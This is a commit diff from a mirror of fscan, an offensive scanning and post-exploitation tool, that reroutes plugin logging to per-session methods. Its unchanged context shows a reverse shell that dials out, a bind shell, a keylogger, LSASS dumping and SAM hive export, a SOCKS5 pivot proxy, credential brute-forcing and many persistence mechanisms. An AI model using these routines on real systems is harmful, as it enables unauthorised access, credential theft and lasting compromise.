mirror of
https://github.com/shadow1ng/fscan.git
synced 2026-09-22 03:10:42 +08:00
refactor: 完成全局状态到 session 的完整迁移
将 plugins/services、plugins/local、plugins/web、webscan 层的日志输出、 漏洞结果保存和 TCP 计数器从全局 common.Log*/GetGlobalState() 迁移到 session 实例方法,确保 SDK 并发扫描时各实例完全隔离。 - 50 个文件,所有插件日志走 session.Log* - DoRequest 加入 session 参数,计数器走 session.State - POC 执行器通过 POCContext.Session 传递 - 仅保留 init() 和 CEL runtime 等无 session 场景的全局回退
This commit is contained in:
@@ -44,7 +44,7 @@ func (p *CleanerPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
cleaned += p.cleanUnix(&output)
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("cleaner_success", cleaned, 0))
|
||||
session.LogSuccess(i18n.Tr("cleaner_success", cleaned, 0))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: cleaned > 0,
|
||||
|
||||
@@ -129,7 +129,7 @@ func (p *CronTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
output.WriteString("\n" + i18n.Tr("persistence_complete_summary", successCount, 5) + "\n")
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("crontask_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("crontask_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -53,7 +53,7 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
|
||||
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
|
||||
|
||||
// 启动正向Shell服务器
|
||||
err := p.startForwardShellServer(ctx, port, state)
|
||||
err := p.startForwardShellServer(ctx, port, state, session)
|
||||
if err != nil {
|
||||
output.WriteString(i18n.Tr("forwardshell_server_error", err) + "\n")
|
||||
return &plugins.Result{
|
||||
@@ -64,7 +64,7 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
|
||||
}
|
||||
|
||||
output.WriteString(i18n.GetText("forwardshell_done") + "\n")
|
||||
common.LogSuccess(i18n.Tr("forwardshell_complete", port))
|
||||
session.LogSuccess(i18n.Tr("forwardshell_complete", port))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
@@ -75,7 +75,7 @@ func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
|
||||
}
|
||||
|
||||
// startForwardShellServer 启动正向Shell服务器
|
||||
func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int, state *common.State) error {
|
||||
func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int, state *common.State, session *common.ScanSession) error {
|
||||
// 监听指定端口
|
||||
listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
|
||||
if err != nil {
|
||||
@@ -84,7 +84,7 @@ func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port i
|
||||
defer func() { _ = listener.Close() }()
|
||||
|
||||
p.listener = listener
|
||||
common.LogSuccess(i18n.Tr("forwardshell_started", port))
|
||||
session.LogSuccess(i18n.Tr("forwardshell_started", port))
|
||||
|
||||
// 设置正向Shell为活跃状态
|
||||
state.SetForwardShellActive(true)
|
||||
@@ -111,17 +111,17 @@ func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port i
|
||||
if errors.As(err, &netErr) && netErr.Timeout() {
|
||||
continue
|
||||
}
|
||||
common.LogError(i18n.Tr("forwardshell_accept_failed", err))
|
||||
session.LogError(i18n.Tr("forwardshell_accept_failed", err))
|
||||
continue
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("forwardshell_client_connected", conn.RemoteAddr().String()))
|
||||
go p.handleClient(ctx, conn)
|
||||
session.LogSuccess(i18n.Tr("forwardshell_client_connected", conn.RemoteAddr().String()))
|
||||
go p.handleClient(ctx, conn, session)
|
||||
}
|
||||
}
|
||||
|
||||
// handleClient 处理客户端连接
|
||||
func (p *ForwardShellPlugin) handleClient(ctx context.Context, clientConn net.Conn) {
|
||||
func (p *ForwardShellPlugin) handleClient(ctx context.Context, clientConn net.Conn, session *common.ScanSession) {
|
||||
defer func() { _ = clientConn.Close() }()
|
||||
|
||||
// ctx 取消时关闭连接,解除阻塞的读操作
|
||||
@@ -154,7 +154,7 @@ func (p *ForwardShellPlugin) handleClient(ctx context.Context, clientConn net.Co
|
||||
}
|
||||
|
||||
if err := scanner.Err(); err != nil && ctx.Err() == nil {
|
||||
common.LogError(i18n.Tr("forwardshell_read_failed", err))
|
||||
session.LogError(i18n.Tr("forwardshell_read_failed", err))
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -71,7 +71,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
}
|
||||
|
||||
// 启动键盘记录
|
||||
err := p.startKeylogging(ctx, outputFile)
|
||||
err := p.startKeylogging(ctx, outputFile, session)
|
||||
if err != nil {
|
||||
output.WriteString(i18n.Tr("keylogger_failed", err) + "\n")
|
||||
return &plugins.Result{
|
||||
@@ -86,7 +86,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
output.WriteString(i18n.Tr("keylogger_event_count", len(p.keyBuffer)) + "\n")
|
||||
output.WriteString(i18n.Tr("keylogger_log_file", outputFile) + "\n")
|
||||
|
||||
common.LogSuccess(i18n.Tr("keylogger_success", len(p.keyBuffer)))
|
||||
session.LogSuccess(i18n.Tr("keylogger_success", len(p.keyBuffer)))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
@@ -97,7 +97,7 @@ func (p *KeyloggerPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
}
|
||||
|
||||
// startKeylogging 启动键盘记录
|
||||
func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string) error {
|
||||
func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string, session *common.ScanSession) error {
|
||||
|
||||
// 根据平台启动相应的键盘记录
|
||||
var err error
|
||||
@@ -117,8 +117,8 @@ func (p *KeyloggerPlugin) startKeylogging(ctx context.Context, outputFile string
|
||||
}
|
||||
|
||||
// 保存到文件
|
||||
if err := p.saveKeysToFile(outputFile); err != nil {
|
||||
common.LogError(i18n.Tr("keylogger_save_failed", err))
|
||||
if err := p.saveKeysToFile(outputFile, session); err != nil {
|
||||
session.LogError(i18n.Tr("keylogger_save_failed", err))
|
||||
}
|
||||
|
||||
return nil
|
||||
@@ -159,12 +159,12 @@ func (p *KeyloggerPlugin) addKeyToBuffer(key string) {
|
||||
}
|
||||
|
||||
// saveKeysToFile 保存键盘记录到文件
|
||||
func (p *KeyloggerPlugin) saveKeysToFile(outputFile string) error {
|
||||
func (p *KeyloggerPlugin) saveKeysToFile(outputFile string, session *common.ScanSession) error {
|
||||
p.bufferMutex.RLock()
|
||||
defer p.bufferMutex.RUnlock()
|
||||
|
||||
if len(p.keyBuffer) == 0 {
|
||||
common.LogInfo(i18n.GetText("keylogger_no_input"))
|
||||
session.LogInfo(i18n.GetText("keylogger_no_input"))
|
||||
return nil
|
||||
}
|
||||
|
||||
|
||||
@@ -123,7 +123,7 @@ func (p *LDPreloadPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
output.WriteString("\n" + i18n.Tr("ldpreload_complete_summary", successCount, 4) + "\n")
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("ldpreload_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("ldpreload_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
+12
-12
@@ -88,7 +88,7 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
_ = session.State
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
common.LogError(i18n.Tr("minidump_panic", r))
|
||||
session.LogError(i18n.Tr("minidump_panic", r))
|
||||
}
|
||||
}()
|
||||
|
||||
@@ -110,7 +110,7 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
// 方式1:直接 MiniDumpWriteDump(无杀软时尝试)
|
||||
if !avActive {
|
||||
output.WriteString(i18n.GetText("minidump_try_direct") + "\n")
|
||||
if ok := p.tryDirectDump(ctx, pm, &output); ok {
|
||||
if ok := p.tryDirectDump(ctx, pm, &output, session); ok {
|
||||
return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()}
|
||||
}
|
||||
} else {
|
||||
@@ -119,13 +119,13 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
|
||||
// 方式2:comsvcs.dll(系统签名DLL,部分杀软不拦截)
|
||||
output.WriteString(i18n.GetText("minidump_try_comsvcs") + "\n")
|
||||
if ok := p.tryComsvcsDump(pm, &output); ok {
|
||||
if ok := p.tryComsvcsDump(pm, &output, session); ok {
|
||||
return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()}
|
||||
}
|
||||
|
||||
// 方式3:reg save 导出注册表 hive(离线破解,不碰 LSASS)
|
||||
output.WriteString(i18n.GetText("minidump_try_regsave") + "\n")
|
||||
if ok := p.tryRegSave(&output); ok {
|
||||
if ok := p.tryRegSave(&output, session); ok {
|
||||
return &plugins.Result{Success: true, Type: plugins.ResultTypeService, Output: output.String()}
|
||||
}
|
||||
|
||||
@@ -133,7 +133,7 @@ func (p *MiniDumpPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
return &plugins.Result{Success: false, Output: output.String(), Error: errors.New(i18n.GetText("minidump_all_methods_failed"))}
|
||||
}
|
||||
|
||||
func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager, output *strings.Builder) bool {
|
||||
func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager, output *strings.Builder, session *common.ScanSession) bool {
|
||||
pid, err := pm.findProcess("lsass.exe")
|
||||
if err != nil {
|
||||
output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n")
|
||||
@@ -155,10 +155,10 @@ func (p *MiniDumpPlugin) tryDirectDump(ctx context.Context, pm *ProcessManager,
|
||||
return false
|
||||
}
|
||||
|
||||
return p.reportSuccess(output, outputPath, i18n.GetText("minidump_method_direct"))
|
||||
return p.reportSuccess(output, outputPath, i18n.GetText("minidump_method_direct"), session)
|
||||
}
|
||||
|
||||
func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Builder) bool {
|
||||
func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Builder, session *common.ScanSession) bool {
|
||||
pid, err := pm.findProcess("lsass.exe")
|
||||
if err != nil {
|
||||
output.WriteString(i18n.Tr("minidump_find_lsass_failed", err) + "\n")
|
||||
@@ -175,10 +175,10 @@ func (p *MiniDumpPlugin) tryComsvcsDump(pm *ProcessManager, output *strings.Buil
|
||||
return false
|
||||
}
|
||||
|
||||
return p.reportSuccess(output, outputPath, "comsvcs.dll")
|
||||
return p.reportSuccess(output, outputPath, "comsvcs.dll", session)
|
||||
}
|
||||
|
||||
func (p *MiniDumpPlugin) tryRegSave(output *strings.Builder) bool {
|
||||
func (p *MiniDumpPlugin) tryRegSave(output *strings.Builder, session *common.ScanSession) bool {
|
||||
files := map[string]string{
|
||||
"SAM": filepath.Join(".", "sam.hiv"),
|
||||
"SECURITY": filepath.Join(".", "security.hiv"),
|
||||
@@ -199,19 +199,19 @@ func (p *MiniDumpPlugin) tryRegSave(output *strings.Builder) bool {
|
||||
|
||||
if saved == 3 {
|
||||
output.WriteString(i18n.GetText("minidump_regsave_done") + "\n")
|
||||
common.LogSuccess(i18n.Tr("minidump_regsave_success"))
|
||||
session.LogSuccess(i18n.Tr("minidump_regsave_success"))
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
func (p *MiniDumpPlugin) reportSuccess(output *strings.Builder, path, method string) bool {
|
||||
func (p *MiniDumpPlugin) reportSuccess(output *strings.Builder, path, method string, session *common.ScanSession) bool {
|
||||
fi, err := os.Stat(path)
|
||||
if err != nil || fi.Size() == 0 {
|
||||
return false
|
||||
}
|
||||
output.WriteString(i18n.Tr("minidump_method_success", method, path, fi.Size()) + "\n")
|
||||
common.LogSuccess(i18n.Tr("minidump_success", path, fi.Size()))
|
||||
session.LogSuccess(i18n.Tr("minidump_success", path, fi.Size()))
|
||||
return true
|
||||
}
|
||||
|
||||
|
||||
@@ -68,7 +68,7 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
|
||||
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
|
||||
|
||||
// 启动反弹Shell
|
||||
err = p.startNativeReverseShell(ctx, host, port, state)
|
||||
err = p.startNativeReverseShell(ctx, host, port, state, session)
|
||||
if err != nil {
|
||||
output.WriteString(i18n.Tr("reverseshell_error", err) + "\n")
|
||||
return &plugins.Result{
|
||||
@@ -79,7 +79,7 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
|
||||
}
|
||||
|
||||
output.WriteString(i18n.GetText("reverseshell_done") + "\n")
|
||||
common.LogSuccess(i18n.Tr("reverseshell_complete", target))
|
||||
session.LogSuccess(i18n.Tr("reverseshell_complete", target))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
@@ -90,7 +90,7 @@ func (p *ReverseShellPlugin) Scan(ctx context.Context, info *common.HostInfo, se
|
||||
}
|
||||
|
||||
// startNativeReverseShell 启动Go原生反弹Shell
|
||||
func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int, state *common.State) error {
|
||||
func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host string, port int, state *common.State, session *common.ScanSession) error {
|
||||
// 连接到目标
|
||||
conn, err := net.Dial("tcp", net.JoinHostPort(host, strconv.Itoa(port)))
|
||||
if err != nil {
|
||||
@@ -98,7 +98,7 @@ func (p *ReverseShellPlugin) startNativeReverseShell(ctx context.Context, host s
|
||||
}
|
||||
defer func() { _ = conn.Close() }()
|
||||
|
||||
common.LogSuccess(i18n.Tr("reverseshell_connected", host, port))
|
||||
session.LogSuccess(i18n.Tr("reverseshell_connected", host, port))
|
||||
|
||||
// 设置反弹Shell为活跃状态
|
||||
state.SetReverseShellActive(true)
|
||||
|
||||
@@ -51,10 +51,10 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses
|
||||
output.WriteString(i18n.Tr("local_listen_port", port) + "\n")
|
||||
output.WriteString(i18n.Tr("local_platform", runtime.GOOS) + "\n\n")
|
||||
|
||||
common.LogInfo(i18n.Tr("socks5_starting", port))
|
||||
session.LogInfo(i18n.Tr("socks5_starting", port))
|
||||
|
||||
// 启动SOCKS5代理服务器
|
||||
err := p.startSocks5Server(ctx, port, state)
|
||||
err := p.startSocks5Server(ctx, port, state, session)
|
||||
if err != nil {
|
||||
output.WriteString(i18n.Tr("socks5_server_error", err) + "\n")
|
||||
return &plugins.Result{
|
||||
@@ -65,7 +65,7 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses
|
||||
}
|
||||
|
||||
output.WriteString(i18n.GetText("socks5_done") + "\n")
|
||||
common.LogSuccess(i18n.Tr("socks5_complete", port))
|
||||
session.LogSuccess(i18n.Tr("socks5_complete", port))
|
||||
|
||||
return &plugins.Result{
|
||||
Success: true,
|
||||
@@ -76,7 +76,7 @@ func (p *Socks5ProxyPlugin) Scan(ctx context.Context, info *common.HostInfo, ses
|
||||
}
|
||||
|
||||
// startSocks5Server 启动SOCKS5代理服务器 - 核心实现
|
||||
func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, state *common.State) error {
|
||||
func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, state *common.State, session *common.ScanSession) error {
|
||||
// 监听指定端口
|
||||
listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
|
||||
if err != nil {
|
||||
@@ -85,7 +85,7 @@ func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, sta
|
||||
defer func() { _ = listener.Close() }()
|
||||
|
||||
p.listener = listener
|
||||
common.LogSuccess(i18n.Tr("socks5_started", port))
|
||||
session.LogSuccess(i18n.Tr("socks5_started", port))
|
||||
|
||||
// 设置SOCKS5代理为活跃状态,告诉主程序保持运行
|
||||
state.SetSocks5ProxyActive(true)
|
||||
@@ -98,7 +98,7 @@ func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, sta
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
common.LogInfo(i18n.GetText("socks5_cancelled"))
|
||||
session.LogInfo(i18n.GetText("socks5_cancelled"))
|
||||
return ctx.Err()
|
||||
default:
|
||||
}
|
||||
@@ -115,17 +115,17 @@ func (p *Socks5ProxyPlugin) startSocks5Server(ctx context.Context, port int, sta
|
||||
if errors.As(err, &netErr) && netErr.Timeout() {
|
||||
continue // 超时继续循环
|
||||
}
|
||||
common.LogError(i18n.Tr("socks5_accept_failed", err))
|
||||
session.LogError(i18n.Tr("socks5_accept_failed", err))
|
||||
continue
|
||||
}
|
||||
|
||||
// 并发处理客户端连接
|
||||
go p.handleClient(ctx, conn)
|
||||
go p.handleClient(ctx, conn, session)
|
||||
}
|
||||
}
|
||||
|
||||
// handleClient 处理客户端连接
|
||||
func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Conn) {
|
||||
func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Conn, session *common.ScanSession) {
|
||||
defer func() { _ = clientConn.Close() }()
|
||||
|
||||
// ctx 取消时关闭连接,解除阻塞的 IO
|
||||
@@ -137,22 +137,22 @@ func (p *Socks5ProxyPlugin) handleClient(ctx context.Context, clientConn net.Con
|
||||
// SOCKS5握手阶段
|
||||
if err := p.handleSocks5Handshake(clientConn); err != nil {
|
||||
if ctx.Err() == nil {
|
||||
common.LogError(i18n.Tr("socks5_handshake_failed", err))
|
||||
session.LogError(i18n.Tr("socks5_handshake_failed", err))
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// SOCKS5请求阶段
|
||||
targetConn, _, err := p.handleSocks5Request(clientConn)
|
||||
targetConn, _, err := p.handleSocks5Request(clientConn, session)
|
||||
if err != nil {
|
||||
if ctx.Err() == nil {
|
||||
common.LogError(i18n.Tr("socks5_request_failed", err))
|
||||
session.LogError(i18n.Tr("socks5_request_failed", err))
|
||||
}
|
||||
return
|
||||
}
|
||||
defer func() { _ = targetConn.Close() }()
|
||||
|
||||
common.LogSuccess(i18n.GetText("socks5_connected"))
|
||||
session.LogSuccess(i18n.GetText("socks5_connected"))
|
||||
|
||||
// 双向数据转发
|
||||
p.relayData(clientConn, targetConn)
|
||||
@@ -182,7 +182,7 @@ func (p *Socks5ProxyPlugin) handleSocks5Handshake(conn net.Conn) error {
|
||||
}
|
||||
|
||||
// handleSocks5Request 处理SOCKS5连接请求
|
||||
func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn, int, error) {
|
||||
func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn, session *common.ScanSession) (net.Conn, int, error) {
|
||||
// 读取连接请求
|
||||
buffer := make([]byte, 256)
|
||||
n, err := clientConn.Read(buffer)
|
||||
@@ -272,7 +272,7 @@ func (p *Socks5ProxyPlugin) handleSocks5Request(clientConn net.Conn) (net.Conn,
|
||||
return nil, 0, fmt.Errorf("%s: %w", i18n.GetText("socks5_success_response_failed"), err)
|
||||
}
|
||||
|
||||
common.LogDebug(i18n.Tr("socks5_proxy_connection_established", targetAddr))
|
||||
session.LogDebug(i18n.Tr("socks5_proxy_connection_established", targetAddr))
|
||||
return targetConn, localPort, nil
|
||||
}
|
||||
|
||||
|
||||
@@ -83,7 +83,7 @@ func (p *SSHKeyPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
}
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("sshkey_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("sshkey_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -132,7 +132,7 @@ func (p *SystemdServicePlugin) Scan(ctx context.Context, info *common.HostInfo,
|
||||
output.WriteString("\n" + i18n.Tr("systemdservice_complete_summary", successCount, 5) + "\n")
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("systemdservice_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("systemdservice_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -30,7 +30,8 @@ type avProduct struct {
|
||||
|
||||
type SystemInfoPlugin struct {
|
||||
plugins.BasePlugin
|
||||
output strings.Builder
|
||||
output strings.Builder
|
||||
session *common.ScanSession
|
||||
}
|
||||
|
||||
func NewSystemInfoPlugin() *SystemInfoPlugin {
|
||||
@@ -41,18 +42,19 @@ func NewSystemInfoPlugin() *SystemInfoPlugin {
|
||||
|
||||
func (p *SystemInfoPlugin) log(key string, args ...interface{}) {
|
||||
msg := i18n.Tr(key, args...)
|
||||
common.LogInfo(msg)
|
||||
p.session.LogInfo(msg)
|
||||
p.output.WriteString(msg + "\n")
|
||||
}
|
||||
|
||||
func (p *SystemInfoPlugin) logSuccess(key string, args ...interface{}) {
|
||||
msg := i18n.Tr(key, args...)
|
||||
common.LogSuccess(msg)
|
||||
p.session.LogSuccess(msg)
|
||||
p.output.WriteString(msg + "\n")
|
||||
}
|
||||
|
||||
func (p *SystemInfoPlugin) Scan(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *plugins.Result {
|
||||
common.LogSuccess(i18n.GetText("systeminfo_start"))
|
||||
p.session = session
|
||||
session.LogSuccess(i18n.GetText("systeminfo_start"))
|
||||
|
||||
p.collectBasicInfo()
|
||||
p.collectNetworkInfo()
|
||||
|
||||
@@ -82,7 +82,7 @@ func (p *WinBITSPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
}
|
||||
|
||||
if successCount >= 3 {
|
||||
common.LogSuccess(i18n.Tr("winbits_success", jobName))
|
||||
session.LogSuccess(i18n.Tr("winbits_success", jobName))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -59,7 +59,7 @@ func (p *WinIFEOPlugin) Scan(ctx context.Context, info *common.HostInfo, session
|
||||
}
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("winifeo_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("winifeo_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -58,7 +58,7 @@ func (p *WinLogonPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
}
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("winlogon_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("winlogon_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -61,7 +61,7 @@ func (p *WinRegistryPlugin) Scan(ctx context.Context, info *common.HostInfo, ses
|
||||
}
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("winregistry_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("winregistry_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -74,7 +74,7 @@ func (p *WinSchTaskPlugin) Scan(ctx context.Context, info *common.HostInfo, sess
|
||||
}
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("winschtask_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("winschtask_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -64,7 +64,7 @@ func (p *WinServicePlugin) Scan(ctx context.Context, info *common.HostInfo, sess
|
||||
}
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("winservice_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("winservice_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -59,7 +59,7 @@ func (p *WinStartupPlugin) Scan(ctx context.Context, info *common.HostInfo, sess
|
||||
}
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("winstartup_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("winstartup_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -64,7 +64,7 @@ Write-Output "TOTAL:$ok"`,
|
||||
|
||||
out, err := exec.Command("powershell", "-NoProfile", "-Command", ps).CombinedOutput()
|
||||
if err != nil {
|
||||
common.LogError(i18n.Tr("error_generic", fmt.Errorf("%s: %w, %s: %s", i18n.GetText("powershell_exec_failed"), err, i18n.GetText("command_output"), strings.TrimSpace(string(out)))))
|
||||
session.LogError(i18n.Tr("error_generic", fmt.Errorf("%s: %w, %s: %s", i18n.GetText("powershell_exec_failed"), err, i18n.GetText("command_output"), strings.TrimSpace(string(out)))))
|
||||
}
|
||||
result := string(out)
|
||||
|
||||
@@ -81,7 +81,7 @@ Write-Output "TOTAL:$ok"`,
|
||||
}
|
||||
|
||||
if successCount > 0 {
|
||||
common.LogSuccess(i18n.Tr("winwmi_success", successCount))
|
||||
session.LogSuccess(i18n.Tr("winwmi_success", successCount))
|
||||
}
|
||||
|
||||
return &plugins.Result{
|
||||
|
||||
@@ -55,7 +55,7 @@ func (p *ActiveMQPlugin) Scan(ctx context.Context, info *common.HostInfo, sessio
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "activemq", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("activemq_credential", target, result.Username, result.Password))
|
||||
session.LogVuln(i18n.Tr("activemq_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
@@ -254,7 +254,7 @@ func (p *ActiveMQPlugin) identifyService(ctx context.Context, info *common.HostI
|
||||
}
|
||||
}
|
||||
|
||||
common.LogSuccess(i18n.Tr("activemq_service", target, banner))
|
||||
session.LogSuccess(i18n.Tr("activemq_service", target, banner))
|
||||
|
||||
return &ScanResult{
|
||||
Success: true,
|
||||
|
||||
@@ -32,11 +32,11 @@ func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
target := info.Target()
|
||||
|
||||
if config.DisableBrute {
|
||||
return p.identifyService(ctx, info, config, state)
|
||||
return p.identifyService(ctx, info, session)
|
||||
}
|
||||
|
||||
// 先尝试无认证连接
|
||||
if result := p.tryNoAuthConnection(ctx, info, config, state); result != nil && result.Success {
|
||||
if result := p.tryNoAuthConnection(ctx, info, session); result != nil && result.Success {
|
||||
return result
|
||||
}
|
||||
|
||||
@@ -55,7 +55,7 @@ func (p *CassandraPlugin) Scan(ctx context.Context, info *common.HostInfo, sessi
|
||||
result := TestCredentialsConcurrently(ctx, credentials, authFn, "cassandra", testConfig)
|
||||
|
||||
if result.Success {
|
||||
common.LogVuln(i18n.Tr("cassandra_credential", target, result.Username, result.Password))
|
||||
session.LogVuln(i18n.Tr("cassandra_credential", target, result.Username, result.Password))
|
||||
}
|
||||
|
||||
return result
|
||||
@@ -249,7 +249,9 @@ func classifyCassandraErrorType(err error) ErrorType {
|
||||
|
||||
// ── 无认证 + 服务识别 ──────────────────────────────────────────
|
||||
|
||||
func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||
config := session.Config
|
||||
state := session.State
|
||||
target := info.Target()
|
||||
addr := info.Target()
|
||||
timeout := config.Timeout
|
||||
@@ -286,7 +288,7 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.
|
||||
state.IncrementTCPSuccessPacketCount()
|
||||
dummy := extractClusterName(body)
|
||||
|
||||
common.LogVuln(i18n.Tr("cassandra_unauth", target))
|
||||
session.LogVuln(i18n.Tr("cassandra_unauth", target))
|
||||
return &ScanResult{
|
||||
Type: plugins.ResultTypeService,
|
||||
Success: true,
|
||||
@@ -295,7 +297,9 @@ func (p *CassandraPlugin) tryNoAuthConnection(ctx context.Context, info *common.
|
||||
}
|
||||
}
|
||||
|
||||
func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.HostInfo, config *common.Config, state *common.State) *ScanResult {
|
||||
func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.HostInfo, session *common.ScanSession) *ScanResult {
|
||||
config := session.Config
|
||||
state := session.State
|
||||
target := info.Target()
|
||||
addr := info.Target()
|
||||
timeout := config.Timeout
|
||||
@@ -323,12 +327,12 @@ func (p *CassandraPlugin) identifyService(ctx context.Context, info *common.Host
|
||||
|
||||
if opcode == cqlOpAuthChl {
|
||||
banner := i18n.GetText("cassandra_auth_required")
|
||||
common.LogSuccess(i18n.Tr("cassandra_service", target, banner))
|
||||
session.LogSuccess(i18n.Tr("cassandra_service", target, banner))
|
||||
return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "cassandra", Banner: banner}
|
||||
}
|
||||
|
||||
banner := "Cassandra"
|
||||
common.LogSuccess(i18n.Tr("cassandra_service", target, banner))
|
||||
session.LogSuccess(i18n.Tr("cassandra_service", target, banner))
|
||||
return &ScanResult{Type: plugins.ResultTypeService, Success: true, Service: "cassandra", Banner: banner}
|
||||
}
|
||||
|
||||
|
||||
